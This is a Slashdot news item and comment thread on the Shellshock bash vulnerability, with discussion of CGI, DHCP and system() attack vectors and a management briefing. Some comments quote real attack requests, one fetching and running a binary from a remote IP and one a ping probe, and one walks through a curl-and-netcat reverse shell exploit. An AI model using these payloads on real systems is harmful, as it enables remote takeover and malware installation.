Flurry of Scans Hint That Bash Vulnerability Could Already Be In the Wild 318
The recently disclosed bug in bash was bad enough as a theoretical exploit; now, reports Ars Technica, it could already be being used to launch real attacks. In a blog post yesterday, Robert Graham of Errata Security noted that someone is already using a massive Internet scan to locate vulnerable servers for attack. In a brief scan, he found over 3,000 servers that were vulnerable "just on port 80"—the Internet Protocol port used for normal Web Hypertext Transfer Protocol (HTTP) requests. And his scan broke after a short period, meaning that there could be vast numbers of other servers vulnerable. A Google search by Ars using advanced search parameters yielded over two billion web pages that at least partially fit the profile for the Shellshock exploit.
More bad news: "[T]he initial fix for the issue still left Bash vulnerable to attack, according to a new US CERT National Vulnerability Database entry." And CNET is not the only one to say that Shellshock, which can affect Macs running OS X as well as Linux and Unix systems, could be worse than Heartbleed.
Worse than Heartbleed? (Score:3, Insightful)
Re:Worse than Heartbleed? (Score:4, Insightful)
What a stupid argument.
1. It will be, if it wasn't before.
2. You can't know that information.
Re:Worse than Heartbleed? (Score:5, Insightful)
There are a large number of systems where the fix for this is simply to delete the thing.
If you could simply delete it, because you weren't using it, your system was never vulnerable and in need of fixing anyway.
Re: (Score:2)
How does that argument work? It's entirely possible to have things installed and enabled which are going unused. Whether or not something is intentionally being used has no bearing on whether it is a security risk.
Re: (Score:2)
Delete all cgis that either call batch or system(), as well as all dhcp clients? Then remove AcceptEnv variables from sshd configurations, and any other ways to pass an environment variable (including ones like LANG and TERM)?
You sure haven't understood the nature of this beast. It's MUCH worse than heartbleed, and oh so simple to exploit too.
Re:Worse than Heartbleed? (Score:4, Insightful)
Bah. Just replace bash then - or upgrade it. Read about this bug today (on a linux machine), tested for it - and it was fixed already. The bug may be a bad one, but the fix is out already. Got it through a standard upgrade of arch, no specific action to fix this. Fix bash, and all that cgi/ssh is as safe as ever.
Trivial to exploit - but trivially fixed too.
Re: (Score:2)
Bah. Just replace bash then - or upgrade it. Read about this bug today (on a linux machine), tested for it - and it was fixed already. The bug may be a bad one, but the fix is out already. Got it through a standard upgrade of arch, no specific action to fix this. Fix bash, and all that cgi/ssh is as safe as ever.
Fixing might not be as easy as you think. A system may run an older OS, or be an embedded system. How do you replace bash on your router or access point today?
Re:Worse than Heartbleed? (Score:4, Informative)
Your router, access point and TV are probably using busybox and not bash.
Re: (Score:3)
This is probably true, but not necessarily. There are probably a fair amount of access points and routers that run more fully-featured linuxes. Someone on HN confirmed that their WD MyCloud cheapo-NAS was vulnerable. The issue is, if there are any vulnerable embedded devices, they will probably go unpatched for a long time, especially if it's at all difficult for the end-user. If Joe Sixpack's TV can be hacked, he's probably not ever going to know, and probably not be able to fix it if so.
I predict there's
Re:Worse than Heartbleed? (Score:4, Insightful)
Heartbleed exploits were and will continue to be generally undetectable. If any private keys were stolen, we wont ever know.
Re:Worse than Heartbleed? (Score:5, Informative)
Heartbleed has already been confirmed at the initial attack vector for the breach of a large healthcare system that stole 4.5M patient identities. Given the difficulty tracing Heartbleed attacks, it's likely other systems were compromised in the same way.
Re: (Score:2)
I'd be interested to see how you could ever prove that a historical SSL connection was MITM'd by someone who had your private key.
Re:Worse than Heartbleed? (Score:5, Insightful)
I just rm -rf / a vulnerable linux laptop (dummy laptop) simply by having it connect to my malicious dhcp server.
Idea (Score:3)
I'm not the original poster, but my idea goes like this:
- very often, when a laptop gets an IP from DHCP, it will launch a collection of helper scripts (that will in turn set-up lots of other thing. Random example: firewalling rules for the new interface)
- check which fields emitted by a DHCP server will end up in an environment variable during the call of these helper scripts.
Very obvisouly, the IP address will be in an environment variable, but that's not going to work because you can't put arbitrary data
defaultwebpage scans (Score:2)
"could be worse than Heartbleed" (Score:3, Insightful)
To be fair, anyone using bash as the cgi handler for anything remotely serious was already doing it wrong. Bash by it's nature is a facility trying to let the presumably authenticated user of it to do whatever they want, even if it looks somewhat weird. Yes this bug warrants fixing, but putting bash or similar in a path where untrusted environment variables and/or argv is present is a very dubious design decision. Besides, fork and exec for every request is a huge no no, and that's the only way to fly with bash.
Outside of malicious HTTP headers landing in environment variable in CGI land, I'm hard pressed to think of another reasonable vector for this bug to be a problem...
Re: (Score:3, Interesting)
dhclient-script uses shell variables passed from the DHCP server. Your laptop connects to a rogue AP and you're owned because dhclient-script run as root.
Re:"could be worse than Heartbleed" (Score:5, Insightful)
The other reasonable vector is the use of environment variables set by your dhcp client before running /etc/sysconfig/if-up.d/* based on whatever is contained in the first DHCPOFFER packet it receives.
Re: (Score:2)
Ok, perhaps I undermined the importance, but if you are using 'xzgrep' in cgi context in a serious situation, I would say that is still a mistake. Forking and execing in response to an http request is terrible performance wise before getting to the security dubious of it all.
The dhclient-script stuff is pretty significant and I think I would be in a weak position saying that those have no business execing system commands/scripts. However it does suggest it may be worthwhile to have a helper that is non-ro
Re:"could be worse than Heartbleed" (Score:5, Interesting)
Ok, perhaps I undermined the importance, but if you are using 'xzgrep' in cgi context in a serious situation, I would say that is still a mistake. Forking and execing in response to an http request is terrible performance wise before getting to the security dubious of it all.
The dhclient-script stuff is pretty significant and I think I would be in a weak position saying that those have no business execing system commands/scripts. However it does suggest it may be worthwhile to have a helper that is non-root with capabilities to allow it to do key stuff to limit it's ability.
# run under mod_perl /var/log/my.log");
print "Content-Type: text/plain\n\n";
system("/usr/bin/xzgrep error
Can you see how this prefectly secure quick CGI to find errors in your log file would result in a system compromise?
Re:"could be worse than Heartbleed" (Score:4, Interesting)
The NIST page indicates that DHCP could be used to exploit it. It also indicates low complexity and no authentication required, so Im not convinced youre correct.
Re: (Score:2)
You're right; not only should you be unconvinced that he is right; he in fact misses the whole point and is completely mistaken.
Re: (Score:3)
The NIST page indicates that DHCP could be used to exploit it.
Any program that a) listens on a socket and b) calls out to a shell with an argument partially constructed from user input is vulnerable if the shell is unpatched bash. Apparently DHCP does this: https://www.trustedsec.com/sep... [trustedsec.com]
The only saving grace in this bug is that it's relatively easy to patch on client and server machines.
But there are a lot of things that aren't client and server machines that run linux and use bash. Routers, cable modems... all kinds of embedded systems. These things generally la
Re:"could be worse than Heartbleed" (Score:5, Informative)
Any program that a) listens on a socket and b) calls out to a shell with an argument partially constructed from user input is vulnerable if the shell is unpatched bash.
No, it's worse than that. You don't have to pass any arguments, and you don't even have to knowingly call shell - calling system() from a language that executes binaries in a shell context will do it, on systems that have /bin/sh point to bash (which is most of them these days).
In short, anything that inherits environment variables (like TERM, LANG, LC_COLLATE) and executes anything in a shell context is vulnerable. No passing of arguments or deliberate call of bash is needed.
Re: (Score:2)
Parent is correct. No user input is needed. Just the shell call.
Re:"could be worse than Heartbleed" (Score:4, Informative)
Any program that a) listens on a socket and b) calls out to a shell with an argument partially constructed from user input is vulnerable if the shell is unpatched bash. Apparently DHCP does this: https://www.trustedsec.com/sep... [trustedsec.com]
You have it somewhat wrong. The arguments to the shell are irrelevant as several mention below. However the program must set an environment variable to unchecked user input, something everybody seems to be missing. According to the advisory, DHCP has this bug in that it copies strings in the request (or at least the string identified by "114") to environment variables.
Not every program that calls system() sets environment variables to arbitrary text from the user, so not every program that calls system() is vulnerable, unlike a lot of people here are saying.
Re: (Score:3)
Not every program that calls system() sets environment variables to arbitrary text from the user, so not every program that calls system() is vulnerable, unlike a lot of people here are saying.
Keep in mind that the program that calls system() does not have to be the one that accepts environment variables from tainted input. It may inherit the environment variables from a caller who does, or it may be several layers deep.
Unless a process discards all environment variables or verifies every single set environment variable whether used or not, it may pass the problem on to another process that calls system().
Re:"could be worse than Heartbleed" (Score:5, Informative)
Outside of malicious HTTP headers landing in environment variable in CGI land, I'm hard pressed to think of another reasonable vector for this bug to be a problem...
This blog post [blogspot.com] mentions php, c++, python, et alia, as another attack vector.
This means that web apps written in languages such as PHP, Python, C++, or Java, are likely to be vulnerable if they ever use libcalls such as popen() or system(), all of which are backed by calls to /bin/sh -c '...'. There is also some added web-level exposure through #!/bin/sh CGI scripts, calls in SSI, and possibly more exotic vectors such as mod_ext_filter.
Re: (Score:2)
This blog post mentions php, c++, python, et alia, as another attack vector.
And while that underscores the appropriate need for this to be fixed, it should also be an opportunity to educate people to be wary of popen or system. If you leverage those a lot in a cgi context, you have created a significant potential bottleneck to scaling, versus using language libraries to accomplish the same goal without fork/exec being mandatory.
Re:"could be worse than Heartbleed" (Score:5, Informative)
You don't need to use bash as the cgi handler. You just have to execute bash from your cgi handler. Say by the system() function in the c library on a system where /bin/sh is bash.
And of course connecting having your linux machine try and get an IP via DHCP is a vector.
Re: (Score:3)
The DHCP case is truly a bad situation.
I still say that people shouldn't be using things like system() in cgi context except in very limited hacked up internal-only little web pages. It has the same problem as using bash directly, it's a massive waste of resources for an HTTP request to spawn a new process.
Re:"could be worse than Heartbleed" (Score:5, Interesting)
For low-traffic stuff, development time is much more important. Furthermore, in some cases, the actual intended function of a thing is to run specific code. And prior to this bug, it was reasonably well-understood that system("/absolute/path --with --fixed --arguments") was pretty safe, since the absolute path prevented any PATH-related shenanigans, and you weren't including any user data. The environment's not executable. Usually.
Why is this a real problem? (Score:4, Informative)
Am I the only person who just assumed Bash was for users? Why would you let anybody run bash?
Why in the world would people thoughtlessly run any command under CGI? I didn't know about this bash feature but I never imagined placing a shell into CGI... it feels like giving the public a shell account. shells are user interfaces not servers. This feature is probably useful for users and they won't be able to easily disable it-- a bunch of specific case patches means it'll probably pop up in other misuses of bash.
I bet this has been used for decades by hackers for defacing websites, since the cgi-bin user often has write access to the html.
If you properly locked down cgi-bin just how much harm could they do in jail? (not that we should just jail shells and let people have at it, but the purpose for jailing your cgi-bin is to minimize damage.)
DHCP is interesting and new; I didn't know that the DHCP server could get my system to run bash commands... I guess I have to figure out what user the DHCP client runs under...
Re: (Score:2, Funny)
But I use systemd for my dhcp. Why the hell would anyone use scripts for dhcp or any other startup services? This isn't the fucking 80s anymore.
LOL's on you. I use systemd for my systemd. Why the hell would anyone use systemd for systemd or any other systemd? This isn't the systemding 80s anymore.
systemd
Re: (Score:2)
Back in the day I had made some csh (not bash) scripts.
It took the posted data parsed it and printed a formatted report on paper.
So employees could then use it to process the order and ship it out.
It was a low volume thing, and we did it in csh just because it was quick and easy to do.
The web server wasn't ran as root and the script didn't run as root.
There could also be a Bash based Menu system for a public Telnet/SSH Site which could cause issues too.
Re:"could be worse than Heartbleed" (Score:5, Informative)
Outside of malicious HTTP headers landing in environment variable in CGI land, I'm hard pressed to think of another reasonable vector for this bug to be a problem...
Unfortunately, attackers do not share your lack of imagination.
First of all, the CGI vulnerability is not about CGI scripts written in Bash, this is about any CGI script that at any point invokes a shell or invokes a program that invokes a shell (e.g. using the system call), irrespective of the actual shell command, on a system that uses Bash as the system shell (so pretty much all non-Debian based Linux distros).
Got that? any CGI program + any non-Debian Linux => vulnerable. (For once, the PHP programmers are ahead security wise due to the ubiquity of mod_php...)
Second of all, there are all kinds of non-CGI situations in which untrusted data is passed in environment variables. This is normally not a problem... unless that environment variable at any point is inherited by Bash.
The ISC DHCP client (dhclient) is the canonical example, as it runs a distro-specific shell script to set up the network once it gets a DHCP lease. Unustrusted values from the DHCP server are passed - you guessed it - in environment variables.
Re: (Score:2)
any CGI program + any non-Debian Linux => vulnerable
No, only CGI programs that use system/popen/etc to call out to things that may be bash.
For once, the PHP programmers are ahead security wise due to the ubiquity of mod_php...)
Well for one most languages the equivalent facility is available and usually used since it is a requirement to scale. For another, even the silly 'fork and exec' perl or php or python isn't vulnerable if said script avoids system/popen/backticks/whathaveyou.
I guess I was wrong to play down the severity of bash, but my hope was for people to just consider themselves to make a mistake by ever potentially having bash in a c
Re: (Score:3)
any CGI program + any non-Debian Linux => vulnerable
No, only CGI programs that use system/popen/etc to call out to things that may be bash.
Enh, good luck auditing even just a resonably complex CGI program for direct and indirect invocations of the system shell.
For instance, care to guess whether this one is safe [bugzilla.org]?
For once, the PHP programmers are ahead security wise due to the ubiquity of mod_php...)
Well for one most languages the equivalent facility is available and usually used since it is a requirement to scale.
I know, mod_perl and mod_wsgi on Apache, and of course, Fast CGI. But CGI is still common in a lot of setups.
For another, even the silly 'fork and exec' perl or php or python isn't vulnerable if said script avoids system/popen/backticks/whathaveyou.
Even if you don't call out to the shell yourself, the standard library might.
Pop quiz 1: How is the PHP mail [php.net] function implemented?
Pop quiz 2: What parts of the Python standard library module uuid [python.org] are safe to use, and what parts
Re: (Score:2)
any CGI script that at any point invokes a shell or invokes a program that invokes a shell (e.g. using the system call), irrespective of the actual shell command
But it's been well known for more than ten years that you ought not to call system or execute external programs from a CGI program. That's just a bad idea. This exploit is one proof as to why.
Re: (Score:2)
Whew, it's a good thing that COTS router/wifi vendors don't ever do things wrong.
Re: (Score:2)
Outside of malicious HTTP headers landing in environment variable in CGI land, I'm hard pressed to think of another reasonable vector for this bug to be a problem...
To be fair, with a moderately competent CGI implementation, the subprocess will start just fine. The problem comes with whatever that subprocess calls, since environment variables are inherited by default. The deeper you go, the greater the likelihood that some programmer will have used system() or popen(), or even flat-out implemented the process as a shell script.
Re:"could be worse than Heartbleed" (Score:5, Insightful)
You mod him up, and people who are smart will mod him down.
Try to understand, this is not about executing bash scripts as cgi, and it's not about sanitizing input. Period. It is about httpd setting environment variables from unsanitized user input when calling ANY cgi. And if perl or python or php then invoke bash by, for example, executing a call to system(), the environment gets passed to bash, and bash can be made to execute something bad just by having the environment set badly, and you can be pwned.
It took me a bit to "get it" myself.
Re: (Score:2)
Well, perhaps some of my comment should be modded down, but I really want people to cringe if they find themselves ever typing backtick, popen, or system() when doing web development, exploit or no exploit. It's just a very bad thing to do only as a very last resort in a very controlled situation.
Re: (Score:2)
Agreed, but that's not "using bash as the cgi handler". Not explicitly.
Re: (Score:3)
Well... no. The root of the problem is bash treating something which really should only be considered data as code.
When I hear the words "Environment Variables", I don't think "well, some random bozo is going to look at those and just up and execute 'em". For bash to be treating the contents of the en
Re: (Score:3)
It looks like a side effect of how it passes exported functions to sub shells. The only communication mechanism for talking to the subshell is the environment. So these are implemented by putting the function in an environment variable, then the subshell on startup looks at every variable to see if it looks like a function, and if so tries to turn them into a function. The snag then is that it does this by actually executing what's in the variable instead of fully parsing it first.
Re: (Score:3)
I guess the point is that if a significant application is either written in bourne script or even doing something like system() to do nearly anything and it isn't some internal low security thing, then there is something that is bad going on.
That's not to say the bash thing isn't bad, but it *should* also be a wake up call to people to be mindful of invoking external utilities willy nilly when it is not appropriate.
Can anyone explain? (Score:2)
I'm not really understanding why this is a flaw at the moment.
Does anyone have a good explanation or a link to a good explanation?
Re:Can anyone explain? (Score:5, Informative)
The vulnerability is that a string that looks like a function definition can be constructed to be immediately executed prior to execution of the bash script. (This is to support truly ancient bash scripts back when functions were defined as VARIABLE()="() { body }".) However, a bug in that code means the entire value gets executed as a bash script, and so it's possible to append code to the function definition, and it'll get executed as bash code.
Essentially, it's lesson #1 why not to use eval() in your programs.
The danger is that user inputs in Web programs are frequently passed as environment variables to programs. This is especially true in CGI, where the request URI and HTTP headers are passed as environment variables.
This means if you use bash in your CGI, you can execute whatever command you like, as "apache" or whoever you're executing your CGI as. Remotely.
Re: (Score:3)
As far as I can see, the vulnerability is a remote exec for the following cases:
- Use of web server on the platform using CGI scripts
- For Linux devices that are configured to use DHCP, dhclient-script, a rogue DHCP server can pass in exploit code.
This is supposed to be worse than heartbleed which leaked the contents of system memory? OK for web servers I see the danger, but this doesn't seem to be a major exploit for people not running web servers & using fixed IPs.
Macs in particular rarely have web se
Re: (Score:2)
And SSH if any environment variables are passed (e.g. TERM)
And Git servers using restricted ssh
And CUPS
And probably other services that just haven't been found yet
Re: (Score:2)
bash scripts use environment variables to store arguments. web requests passed to cgi scripts calling bash can result in bash assigning those header values to environment variables.
Due to a bug in bash, assigning an environment variable with 'extra stuff at the end' of the assignment results in the extra stuff being executed.
So calling a website with maliciously crafted header values with 'extra stuff', if bash assigns those values to an environment variable, to the extra stuff being executed.
So for example
"could be" (Score:3)
but IS it?
Re: (Score:2)
I think it's safe to assume that it was "in the wild" approximately 30 seconds after the news came out (if not before).
I disabled CGI in Apache (Score:2)
am I safe?
My server doesn't do anything other than web serving via apache/mysql/php, and everything else is locked down.
Preempting dumb discussion (Score:5, Insightful)
Looking at security discussions in terms of OS is really, really dumb. Windows wasnt vulnerable to heartbleed or this, but not because its Windows. Linux isnt affected because of the kernel. As has been the case for a very long time, actual OS flaws are exceedingly rare.
Anyone who uses this as an opportunity to post a screed about how Linux is better or worse than Windows is showing their ignorance by boiling down complex security considerations into black and whites.
Re:Preempting dumb discussion (Score:5, Funny)
Perhaps we should just be completely accurate and say: Linux is not vulnerable. GNU/Linux _is_ vulnerable. At least we keep RMS happy :-)
Re: (Score:2)
Privilege escalation is always the kernel's fault. A failed/exploited process should never be able to gain control of a system.
Bullshit. First, "shellshock" isn't a privilege escalation bug, it's a remote code execution bug. Second, an overly liberal /etc/sudoers is a time bomb waiting to happen but has nothing to do with the kernel. Combine the two - say when a dev has something like httpd ALL=(ALL) ALL so that users can change their password via a web interface or something insane but common like that - and suddenly Johnny Cracker can hack the Gibson with only a single authorized setuid() call.
Re: (Score:2)
Its affected because of bash, which is distinct from the kernel. Likewise heartbleed was a problem on linux because of OpenSSL, and not Windows because Windows uses sChannel.
As I said-- legit kernel flaws are super rare. 99% of viruses these days come in through browsers (20%) and their plugins (80%). Attacks on servers tend to be through the http or ssl daemons or associated extensions (php etc).
I sure as hell saw that coming (Score:5, Funny)
Re: (Score:2)
If a browser isn't properly sandboxing its plugins, it is the browser developer's fault. I get where you're coming from, and I agree with your premise, but you sure picked a lousy analogy to make your point.
Re: (Score:3)
No BSD system uses bash — if only for licensing issues (bash is GNU-licensed).. Thus, you are safe (from this bug) on DragonFlyBSD, FreeBSD, NetBSD, OpenBSD and any other BSD-licensed OS, unless you deliberately installed bash (such as from port) and wrote a CGI-script to use it.
Yes it is being exploited (Score:5, Informative)
There is evidence that this is being exploited in the wild.
Nginx and Apache servers using mod_cgi are two potentially vulnerable services.
The risk is that it is possible to modify environment variables which then could allow the execution of arbitrary code with the permissions of the parent process.
An example attack:
GET./.HTTP/1.0 .User-Agent:.Thanks-Rob .Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
Over at the Internet Storm Center http://isc.sans.org/ [sans.org] they have been updating their advisory and and a have a simple one-liner to test if a system is vulnerable.
How to disable CGI in Apache (Score:5, Insightful)
If you're running Apache on Linux/UNIX, and don't absolutely need CGI, turn it off now.
Put a "#" in front of /etc/httpd/conf/httpd.conf. This will totally disable all CGI scripts. That's a good thing. Apache is willing to execute CGI scripts from far too many directories, and many Linux distros have some default CGI scripts lying around.
LoadModule cgi_module modules/mod_cgi.so
in
Note that this will break CPanel, but not non-CGI admin tools such as Webmin.
People are out there probing. This is from an Apache server log today from a dedicated server I run.
89.207.135.125 - - [24/Sep/2014:23:08:56 -0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 338 "-" "() { :;}; /bin/ping
-c 1 198.101.206.138"
Re: (Score:2)
PHP vulnerability - don't know. (Score:2)
FastCGI implementations are supposed to execute the specified executable without any parameters from the HTTP request. The FCGI program then reads and processes multiple HTTP requests, with no shell involvement. Unless the program invoked by FCGI itself invokes the shell (which PHP scripts can do), there should be no problem. I'm not a PHP user; someone with PHP internals expertise needs to look at that world for vunerabilities. Can arguments from the HTTP request make it into the environment of subshells
Re: (Score:3)
ok. Everybody /bin/ping -c 1 198.101.206.138
Briefing for management - reuse with attribution (Score:5, Interesting)
Folks, for what it's worth, here is a management briefing I wrote this morning. Please feel free to re-use, but please do give proper attribution. Please do comment and correct as appropriate.
Summary: Briefing for management on activities to minimize impacts of the "shellshock" computer vulnerability.
Status: Testing underway. Our initial scans and appraisals are that our public-facing systems are likely not subject to shellshock. NOTE: The situation is fluid, due to the nature of the vulnerability. Personnel are also reaching out to hosting providers to assess the status of intervening systems.
What is it? A vulnerability in a command interpreter found on the vast majority of Linux and UNIX systems, including web servers, development machines, routers, firewalls, etc. The vulnerability could allow an anonymous attacker to execute arbitrary commands remotely, and to obtain the results of these commands via their browser. The security community has nicknamed the vulnerability "shellshock" since it affects computer command interpreters known as shells.
How does it work? Command interpreters, or "shells", are the computer components that allow users to type and execute computer commands. Anytime a user works in a terminal window, they are using a command interpreter - think of the DOS command prompt. Some GUI applications, especially administrative applications, are in fact just graphical interfaces to command interpreters. The most common command interpreter on Linux and UNIX is known as the "bash shell". Within the last several days, security researchers discovered that a serious vulnerability has been present in the vast majority of instances of bash for the last twenty years. This vulnerability allows an attacker with access to a bash shell to execute arbitrary commands. Because many web servers use system command interpreters to fulfill user requests, attackers need not have physical access to a system: The ability to issue web requests, using their browser or commonly-available command line tools, may be enough.
How bad could it be? Very, very bad. The vulnerability may exist on the vast majority of Linux and UNIX systems shipped over the last 20 years, including web servers, development machines, routers, firewalls, other network appliances, printers, Mac OSX computers, Android phones, and possibly iPhones (note: It has yet to be established that smartphones are affected, but given that Android and iOS are variants of Linus and UNIX, respectively, it would be premature to exclude them). Furthermore, many such systems have web-based administrative interfaces: While many of these machines do not provide a "web server" in the sense of a server providing content of interest to the casual or "normal" user, many do provide web-based interfaces for diagnotics and administration. Any such system that provides dynamic content using system utilities may be vulnerable.
What is the primary risk? There are two, data loss and system modification. By allowing an attacker to execute arbitrary commands, the shellshock vulnerability may allow the attacker to both obtain data from a system and to make changes to system configuration. There is also a third risk, that of using affected systems to launch attacks against other systems, so-called "reflector" attacks: The arbitrary command specified by the attacker could be to direct a network utility against a third machine.
How easy is it to detect the vulnerability? Surprising easily: A single command executed using ubiquitous system tools will reveal whether any particular web device or web server is vulnerable.
What are we doing? Technical personnel are using these commands to test all web servers and other devices we manage and are working with hosting providers to ensure that all devices upon which we depend have been tested. When devices are determined to be vulnerable, a determination is made whether they should be left alone (e.g., if t
Re: (Score:2)
For web servers that allow cgi scripting, yeah I see that it could be bad. I also noted the dhclient-script problem on Linux clients. However, I don't see this as being a major exploit for Macs (which run Web servers very rarely) & do not use the same dhcp-client mechanism as Linux & don't seem to be vulnerable.
If it's not remotely exploitable on OSX, even if the bug is present in the system bash, it's not as critical as some are trying to make it look.
Please correct me if I'm wrong with a remote ex
Re: (Score:2)
Look at it this way:
Do you have full source to everything you run? No? Do you know whether any of them, ever, down any code path, call system() to run something? I bet some of them do. Now, could they ever do it in an environment where at least one variable has a value acquired from an external source?
If so, that's an exploit-in-waiting.
Keep in mind that "I don't call system, I use fork and exec" doesn't mean that the thing you exec doesn't perhaps call system(), or use the shell to execute some command. Or
Re: (Score:2)
Yeah, but that's not a remote exploit.
However, Ars was a little more informative: CUPS is apparently vulnerable and gives a remote exploit on OSX too...
Re: (Score:2)
WUT?
Because many web servers use system command interpreters to fulfill user requests,
I did this a few decades ago. When I started messing around with the NCSA httpd server. Within a few months, I cleaned up all the CGI shell access calls, filtering the incoming parameters for just this reason.
system modification.
Only if you let your web server run itself and launch processes with permissions that can change system settings. Almost everything I write runs as a 'guest' user/group on my systems and can't mess with anything beyond that user's data. The scripts and executables themselves are owned by a web-admi
Re: (Score:2)
This exposes systemic insecurities (Score:4, Interesting)
Basically, this Bash bug is really only exploitable by remote users because of some questionable decisions made in designing the software stack. This isn't an "open source" vs. "closed source" thing. This is a "We'll just trust data received from untrusted sources!" thing.
If your web/dhcp/print/etc. server is *accepting environment variables from random strangers* and then *executing a full-bore shell program* using those environment variables then guess what: You're freakin' server was already vulnerable and this Bash bug is just exposing the vulnerability, not causing it!!
Seriously, if Windows had a design like this then we'd be hearing the old "insecure by design!" schtick, and I'm not going to hold Linux to a lesser standard.
Re:This exposes systemic insecurities (Score:5, Informative)
Basically, this Bash bug is really only exploitable by remote users because of some questionable decisions made in designing the software stack.
Hm, no, the fault here lies squarely with Bash choosing to interpret an environment variable called HTTP_USER_AGENT as a program to execute.
This is not about accepting arbitrary environment variables; CGI puts data in a few, well-defined variables. This is a perfectly legimiate use of environment variables. (And Windows does the exact same thing.)
You're right that using a "full-bore shell program" such as Bash as the system shell is moronic. It is, unfortunately, still the norm on all major Linux distros except Debian and derivatives (which use the limited Dash shell, which is not vulnerable).
Primarily, I think this is a wake up call for Fedora, SUSE and the others: Bash is a huge, complex component, evidently with insufficient security review, and should not be used as the system shell. Debian dropped it for performance reasons, but now we can add security concerns to the list. It can stay around for use as an interactive shell (though why you'd do that when you have zsh, I don't know...)
Re: (Score:2)
Yup. The web server passing input to shell scripts via environment variables is lore that was put in place with the earliest cern web servers and it should have been killed and put to sleep a long time ago.
However the bash shell executing environment variables on the way in is worse.
The equivalent in python would be like putting this at the top of every python CGI script:
untrusted_input = cgi.FieldStorage()
for k in untrusted_input.keys:
eval(untrusted_input[k])
Re: (Score:2)
I really don't get why an embedded system needs to have *any* shell in the first place. From both a security and reliability standpoint you don't need to stress about components that aren't there.
Or you could take a hint from busybox and have one statically linked executable that does everything you need, AND NOTHING MORE, on your system.
It isn't that hard to write your own version of init to parse a config file and do whatever your system needs to do. And it is a hell of a lot more secure.
I've only been
Can we use this to get root on systems? (Score:2)
I'm thinking about phones & tablets and other devices that haven't been rooted, or got a new update that the old root methods don't work.
Can this be used to get root on systems?
Here's a fun little test... (Score:3, Informative)
Here's a fun little test. This is assuming both the attacker and target have netcat installed. On a machine with the vulnerable bash and apache-cgi (behind a firewall for god's sake!) drop a file in your cgi-bin directory:
You should be able to go to
and get a listing of apache's cgi directory.
Now, from your attack machine run "nc -l -p 1234", and then (in another terminal) run "curl -A "() { :;}; /bin/nc attack.machine.ip.address 1234 -c /bin/bash". You now have a shell via netcat.
(from attacking machine netcat)
(on target)
Can confirm... (Score:3)
82.165.144.187 - - [25/Sep/2014:18:55:59 +0200] "GET
An attempt at exploiting the vulnerability (trying to wget h t t p :
Re: (Score:3)
And right now, there are already 560 invisible users connected there... and it grows at quite a pace. The flaw is definitely being exploited in the wild.
Re:It's been in bash a while. (Score:4, Interesting)
Versions affected go all the way back to BASH 1.14.0
which dates from 1994. So that's 20 years.
http://web.nvd.nist.gov/view/v... [nist.gov]
The "With many eyes all bugs are shallow" myth is busted again.
Re: (Score:2)
The "With many eyes all bugs are shallow" myth is busted again.
Uhh.. I guess I'd say the "many eyes" have been saying for almost 20 years that a website that takes in user data and then passes that to a shell to run an executable is kinda stupid, and insecure.
Re:It's been in bash a while. (Score:5, Interesting)
Uhh.. I guess I'd say the "many eyes" have been saying for almost 20 years that a website that takes in user data and then passes that to a shell to run an executable is kinda stupid, and insecure.
You misunderstand the nature of the bug. Your cgi or app doesn't have to pass anything to an executable. A static call is just as vulnerable here - if a cgi app calls system("/path/to/safe/executable") with no parameters at all, you'll still be bitten, because the system() call executes /bin/sh to run the command in, and inherits the environment from the web browser.
Something like this will suffice:
telnet HOST 80 (or openssl s_client -connect HOST:443)
GET
Host: HOST
Cookie: () {
Connection: close
And it's not restricted to http cgi either. Several dhcp clients call sh, so you can get instahacked by trying to acquire an open network connection. Rather worse, because dhcpd/dhclient tend to run as root so they can set up routing and set up the resolver.
There are many other attack vectors for this one.
Yes, it's bad.
Re: (Score:3)
The system call in some languages will do that, and in some won't except under certain circumstances.
In Perl if you give system() a list it won't call the shell. If you give it a single scalar it will call the shell only if there are shell metacharacters in that scalar.
Re: (Score:3)
I understand the nature of the bug. I ALSO think it's stupid to call an executable and pass in a parameter from the user.
Re: (Score:3)
Oh, and as an addendum, I consider anything that originates from the client, something that the user can generate.
i.e. untrusted input is untrusted input. People get far to specific about that kind of thing. If you're taking input from a client, and passing it to a system executable in some way, that's bad.
Re: (Score:2)
This one only affects bash, though. Other shells aren't affected, because they don't automatically and unconditionally execute parts of their environment as code.
Re: (Score:3)
I am not even sure that this should be considered a bug in Bash. Why should we be surprised when a program whose sole purpose is to execute arbitrary commands is found to execute arbitrary commands? The only surprise is that it does so to a greater extent than expected. There have been documents since the 90's which emphasized the need to not pass unsanitized data to a CGI script and even more specifically Bash. I think that there could be a good argument that the bug is really in mod_cgi. Think of it
Re: (Score:2)
It would be pleasant to think so, but isn't it just as possible that the discovery of the exploit was thanks to eyes on the source code? I may be naive, but it's difficult for me to believe that someone thought up the attack vector from just thinking about shells in general.
Re:It's been in bash a while. (Score:5, Informative)
I may be naive, but it's difficult for me to believe that someone thought up the attack vector from just thinking about shells in general.
It's not that hard to believe, maybe someone was designing some piece of software where they wanted to use functionality like that. They wanted to have the browser end up defining a function in bash, and then run some additional code, and did some tests to see if it would work. They found that not only will it work, but it will work a whole lot better than they thought it would. At that point, time to tell someone.
Re: (Score:2)
Its not a feature, it a bug, it does something that a programmer does not intend for it to do. When your script is simply given an environment variable, you dont expect for it to be executed as code unless you explicitely tell it to. If i am reading the CVE right, thats whats happening.
Re: (Score:2, Funny)
And every time I boot my Windows 7 VM the OS is complaining that it needs to be updated, third party programs are complaining they need to be updated. Hell, my pet Botnets are complaining they need to be updated.
Welcome to our world.
Re:I love it. (Score:5, Funny)
These days, Windows is the faster, more stable, and more secure choice.
Yes, Windows 8 has definitely demonstrated awesome superiority and everyone loves it.
Re:So flog the bash developer who checked this in. (Score:5, Insightful)
The bug is 25 years old at least. Pre-dates the existence of GIT and most other source code control software in use today. I have no idea what SCC would've been used 25 years ago. To give perspective -- this bug predates the WWW by at least a year.
Re: (Score:2)
RCS came out in '82. I remember using SCCS on Unix System III in the mid 80s, and it dates back to 1972 or so. Bash came out around '89, and so it could have been managed with either SCCS or more likely at that point with RCS, although it's also possible that no revision control system was used before the original release. In those days revision control wasn't universally used. Even as late as the early 00's I was training engineers coming out of master's degree IT programs who had no idea how to use a re
Re: (Score:3)
In those days [late 80s/early 90s] revision control wasn't universally used. Even as late as the early 00's I was training engineers coming out of master's degree IT programs who had no idea how to use a revision control system.
Linus didn't use a revision control system for the Linux kernel until 2002 [slashdot.org].
(Aw... comparisons between CVS and the "soon to be finished" Subversion. How quaint.)
Re: (Score:2)
